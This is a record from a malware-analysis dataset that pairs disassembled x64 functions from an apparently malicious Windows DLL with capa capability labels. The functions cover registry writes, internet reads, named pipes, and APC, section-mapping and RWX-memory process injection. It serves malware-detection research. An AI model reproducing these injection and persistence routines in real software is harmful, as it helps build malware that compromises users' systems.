joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800086bc
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8d, [rdi + 3]
mov qword [rsp + 0x30], rdi
lea r9, [0x18002fa60]
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x20], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rbp, rax
je 0x1800087b8
lea r9d, [rdi + 1]
lea rdx, [0x180032468]
lea rcx, [rsp + 0x70]
xor r8d, r8d
call fcn.180016b54
cmp rax, rdi
mov rbx, rax
je 0x1800087a8
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r8d, [rdi + 2]
lea rdx, [0x18002fa60]
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x28], rbx
mov r12d, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp rax, rdi
je 0x18000878c
mov rcx, rbx
mov dword [rsi + 0x10], edi
mov qword [rsi], rax
mov dword [rsi + 8], r12d
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsi + 0x14]
mov rdx, rbx
mov dword [rsi + 0xc], eax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x180008794
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [0x18002f7f8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1800087ad
mov edi, 8
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800087c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov eax, edi
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x1800087d8
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0xf0
xor edi, edi
mov r12, rcx
lea rcx, [rax - 0x80]
and dword [rax + 0x18], edi
lea r8d, [rdi + 0x60]
xor edx, edx
call sub.ntdll.dll_memset
and qword [rsp + 0x50], rdi
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x80], 0x68
xor ebx, ebx
call fcn.180014084
test rax, rax
mov rsi, rax
je 0x18000887e
mov rcx, rax
call fcn.18001679c
test rax, rax
mov rbp, rax
je 0x180008865
mov rcx, rax
mov rbx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rbp
mov rcx, rsi
add eax, 1
movsxd r8, eax
call qword [sym.imp.ntdll.dll_wcstombs]
mov r8, rbp
jmp 0x180008868
mov r8, rsi
mov rcx, qword [0x18002f7f8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
cmovne rdi, rbx
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov rdx, r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
and qword [rsp + 0x30], 0
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180008931
mov rax, qword [0x18002fa38]
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
lea ecx, [r8 + 2]
or r9d, 0xffffffff
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
mov dword [rsp + 0x120], eax
jne 0x180008906
mov dword [rsp + 0x120], 0x102
jmp 0x180008919
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000893e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x120], eax
test rbx, rbx
je 0x180008955
mov rcx, qword [0x18002f7f8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x120]
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x180008f78
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
mov ecx, 0x929
mov esi, r9d
mov r12d, r8d
mov r13, rdx
mov edi, 0x3ee
call fcn.180014ac0
test rax, rax
mov rbx, rax
je 0x180008ff8
mov r9d, 1
mov r8d, r12d
mov rdx, r13
mov rcx, rax
call fcn.1800143d8
test eax, eax
mov edi, eax
jne 0x180008fdd
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call fcn.180008b20
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [0x18002f7f8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180009014
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
mov rbp, r8
mov r12, rdx
mov rdx, rcx
lea r8, [rax - 0x18]
mov rcx, 0xffffffff80000001
mov esi, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov ebx, eax
jne 0x18000910f
test rbp, rbp
je 0x1800090e0
test esi, esi
je 0x1800090e0
mov rcx, qword [0x18002f7f8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x1800090d9
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call sub.ntdll.dll_memcpy
cmp dword [rsp + 0x70], ebx
je 0x1800090a3
mov r8d, dword [0x18002fa24]
xor r9d, r9d
mov edx, esi
mov rcx, rdi
call fcn.180022bfc
mov rcx, qword [rsp + 0x30]
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [0x18002f7f8]
mov r8, rdi
xor edx, edx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180009104
mov ebx, 8
jmp 0x180009104
and dword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x30]
and qword [rsp + 0x20], 0
mov r9d, 3
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop r12
ret

Function at 0x18000a8f0
Capabilities:
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push r12
sub rsp, 0x70
and dword [rax + 8], 0
or ebp, 0xffffffff
cmp byte [0x18002fa1c], 5
mov rbx, rcx
mov rcx, qword [0x18002f7f8]
mov eax, 0x1388
mov r12, rdx
cmovbe ebp, eax
mov r8d, 0x2000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rsi, rax
je 0x18000a9d9
lea r9, [rsp + 0x80]
mov r8d, 0x2000
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18000a997
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x18000a9b5
mov rcx, qword [rbx + 0x60]
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x18000a984
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x102
je 0x18000a9c5
test eax, eax
jne 0x18000a9b5
mov eax, dword [rbx + 0x50]
cmp eax, 1
je 0x18000a9b5
mov r8d, dword [rsp + 0x80]
test r8d, r8d
je 0x18000a9be
mov rcx, qword [rbx]
xor r9d, r9d
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x20]
jmp 0x18000a942
mov dword [rbx + 0x50], 1
jmp 0x18000a9c5
mov dword [rbx + 0x50], 2
mov rcx, qword [0x18002f7f8]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000a9e0
mov dword [rbx + 0x50], 1
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x60]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x18000b4ec
Capabilities:
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, r9
mov r12d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
call fcn.18000aad4
cmp rax, rbx
mov r13, rax
je 0x18000b55a
mov rdx, rdi
mov rcx, rax
call fcn.18000aa0c
mov rdx, qword [rsi + 0x20]
lea r9, [rsi + 0x28]
mov r8d, dword [r9]
mov dword [rsi + 0x2c], r8d
mov rcx, qword [r13]
mov rax, qword [rcx]
call qword [rax + 0x18]
lea ecx, [rbx + 1]
lea r8, [r13 - 0x34]
cmp eax, ebx
cmove ebx, ecx
xor edx, edx
xor ecx, ecx
call fcn.18001932c
jmp 0x18000b57c
cmp dword [rsp + 0x60], ebx
mov r9, rbp
mov r8d, r12d
mov rdx, rsi
mov rcx, rdi
je 0x18000b574
call qword [sym.imp.WININET.dll_InternetReadFileExW]
jmp 0x18000b57a
call qword [sym.imp.WININET.dll_InternetReadFileExA]
mov ebx, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x18000d94c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbp, rdx
mov rsi, rcx
mov ebx, 8
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x18002f7f8]
xor edx, edx
lea r8d, [rax + 5]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18000da07
lea rdx, [0x180032402]
mov r8, rsi
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdx, qword [0x18002f930]
lea r8, [rsp + 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov ebx, eax
jne 0x18000d9f5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 1]
add eax, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x18002f7f8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x18000e990
Capabilities:
Enumerate threads

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x28], 0
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x18]
lea rcx, [rax - 0x24]
call sub.ntdll.dll_memset
test rbx, rbx
je 0x18000e9c4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rsp + 0x20], 0x1c
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x18000ea6a
lea rcx, [0x18003201d]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x18003302f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov rsi, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x18000ea5d
mov ecx, dword [0x18002fa18]
cmp dword [rsp + 0x2c], ecx
jne 0x18000ea50
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
test rax, rax
mov rdi, rax
je 0x18000ea50
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x18000ea12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x18000ef64
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x60
and qword [r11 - 0x38], 0
xor eax, eax
mov rbp, rdx
mov r12d, r9d
mov edi, r8d
mov rsi, rcx
lea edx, [rax + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
test rax, rax
mov qword [rsp + 0x58], rax
je 0x18000f078
mov rcx, qword [0x18002fa38]
and dword [rsp + 0x88], 0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
test r12d, r12d
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x88]
mov r8d, edi
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x20], rax
je 0x18000eff6
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x18000effc
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000f047
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
mov ebx, eax
jne 0x18000f065
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov r9d, 0x2710
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, rsi
cmp eax, 1
mov ebx, eax
jne 0x18000f05f
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x40]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [rsp + 0x88]
add rbp, rax
sub edi, dword [rsp + 0x88]
je 0x18000f069
jmp 0x18000efce
call qword [sym.imp.KERNEL32.dll_CancelIo]
test edi, edi
jne 0x18000f06b
xor ebx, ebx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000f080
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x18000f470
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov ebp, r8d
mov r15, r9
and dword [rax - 0x38], esi
xor eax, eax
test r9, r9
mov r13, rdx
mov r12d, ecx
lea r14d, [rbp + 0x10]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x4c], eax
lea ebx, [rsi + 8]
je 0x18000f4c8
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [rax + 1]
add r14d, esi
jmp 0x18000f4d4
cmp ecx, 0x119
je 0x18000f58f
mov rcx, qword [0x18002f7f8]
mov r8d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18000f58d
test esi, esi
mov ecx, dword [0x18002fa18]
mov dword [rax + 0xc], esi
mov dword [rax + 4], ecx
movzx ecx, r12w
mov dword [rax], ecx
lea ecx, [rsi + rbp]
mov dword [rax + 8], ecx
je 0x18000f51d
lea rcx, [rax + 0x10]
mov r8d, esi
mov rdx, r15
call sub.ntdll.dll_memcpy
test r13, r13
je 0x18000f536
test ebp, ebp
je 0x18000f536
lea rcx, [rsi + rdi + 0x10]
mov r8, rbp
mov rdx, r13
call sub.ntdll.dll_memcpy
mov rcx, qword [0x18002f918]
lea rax, [rsp + 0x90]
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rdi
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.KERNEL32.dll_CallNamedPipeA]
test eax, eax
jne 0x18000f579
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000f57b
xor ebx, ebx
mov rcx, qword [0x18002f7f8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180013450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
and qword [rsp + 0x40], 0
mov r14, rcx
mov r13d, r8d
mov rsi, rdx
lea rcx, [rsp + 0x48]
mov r8d, 0x4c8
xor edx, edx
mov rdi, r9
call sub.ntdll.dll_memset
mov rbp, qword [rsi]
xor ecx, ecx
mov rdx, rbp
mov dword [rsp + 0x558], 0xccccfeeb
call fcn.180015bb0
xor r12d, r12d
mov dword [rsp + 0x70], 0x10000b
test eax, eax
lea ecx, [r12 + 0x10]
cmovne r12d, ecx
test rdi, rdi
jne 0x1800134cc
mov rcx, qword [rsi]
mov edx, r12d
call fcn.180012bf4
mov rdi, rax
mov rax, qword [0x18002e190]
mov r15d, 4
test rax, rax
je 0x18001360a
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x568]
mov r9d, r15d
mov qword [rsp + 0x20], rcx
mov rcx, rbp
mov rdx, rdi
call rax
test eax, eax
js 0x18001360a
cmp qword [rsp + 0x30], r15
jne 0x18001360a
lea rax, [rsp + 0x560]
lea r9d, [r15 + 0x3c]
mov r8, r15
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180013553
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x558]
mov rdx, rdi
mov rcx, rbp
call fcn.180012b74
jmp 0x180013555
xor eax, eax
test eax, eax
je 0x18001360a
mov ebx, 0x1388
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rax, qword [0x18002e180]
sub ebx, 0x64
test rax, rax
je 0x1800135a3
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x40]
call rax
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
test ebx, ebx
jle 0x1800135b1
cmp qword [rsp + 0x138], rdi
jne 0x180013562
xor r9d, r9d
mov r8d, r12d
mov rdx, r14
mov rcx, rsi
call fcn.180012e0c
mov r9d, 0x40
mov r8, r15
mov ebx, eax
lea rax, [rsp + 0x560]
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180013605
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rbp
call fcn.180012b74
cmp ebx, 0xffffffff
jne 0x180013612
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test r15b, r13b
jne 0x180013621
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov rbx, qword [rsp + 0x550]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180013fb0
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor r9d, r9d
mov dword [rsp + 0x48], 0x40
xor eax, eax
mov dword [r11 - 0x28], r9d
mov dword [r11 + 0x24], eax
lea rax, [r11 - 0x18]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x18], r9
mov dword [r11 + 0x20], r9d
mov qword [r11 - 0x48], r9
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add rsp, 0x68
ret
Function at 0x180014004
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
test rcx, rcx
mov rdi, rcx
je 0x180014070
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
mov esi, eax
je 0x180014070
mov rcx, qword [0x18002f7f8]
lea r8d, [rax + rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x180014070
mov r8d, esi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x180014070
mov rcx, qword [0x18002f7f8]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180014118
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
xor edi, edi
mov rbp, r8
mov r12, rdx
and qword [rax - 0x28], rdi
mov dword [rax - 0x30], 0x80
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rax - 0x38], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rsi, rax
je 0x1800141cd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov ebx, eax
jne 0x180014178
mov ebx, 0xe8
jmp 0x1800141d5
mov rcx, qword [0x18002f7f8]
lea r8d, [rbx + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x1800141cd
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800141cd
cmp ebx, dword [rsp + 0x78]
je 0x1800141be
mov ebx, 0x1e
jmp 0x1800141d5
mov byte [rbx + rdi], 0
mov qword [r12], rdi
mov dword [rbp], ebx
xor ebx, ebx
jmp 0x1800141d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp rsi, 0xffffffffffffffff
je 0x1800141e4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x1800141ff
test ebx, ebx
je 0x1800141ff
mov rcx, qword [0x18002f7f8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x18001427c
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov eax, r9d
mov r13d, r8d
mov r8d, r9d
and al, 3
mov esi, r9d
mov r14, rdx
neg al
mov edx, 0xc0000000
mov r15, rcx
sbb r12d, r12d
and qword [r11 - 0x38], 0
shr r8d, 8
and r12d, 3
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
add r12d, 1
mov ebp, 0x1388
mov dword [r11 - 0x48], r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rdi, rax
jne 0x18001435d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
mov ebx, eax
jne 0x180014357
test sil, 4
je 0x180014357
test ebp, ebp
jle 0x180014357
mov rcx, qword [0x18002fa38]
mov edx, 0xc8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x180014352
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r12d
sub ebp, 0xc8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x1800142ea
jmp 0x180014357
mov ebx, 0x5b4
cmp rdi, 0xffffffffffffffff
je 0x1800143b5
mov r9d, 2
test r9b, sil
je 0x180014376
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, r13d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800143a4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ebx, ebx
jmp 0x1800143ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x40]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret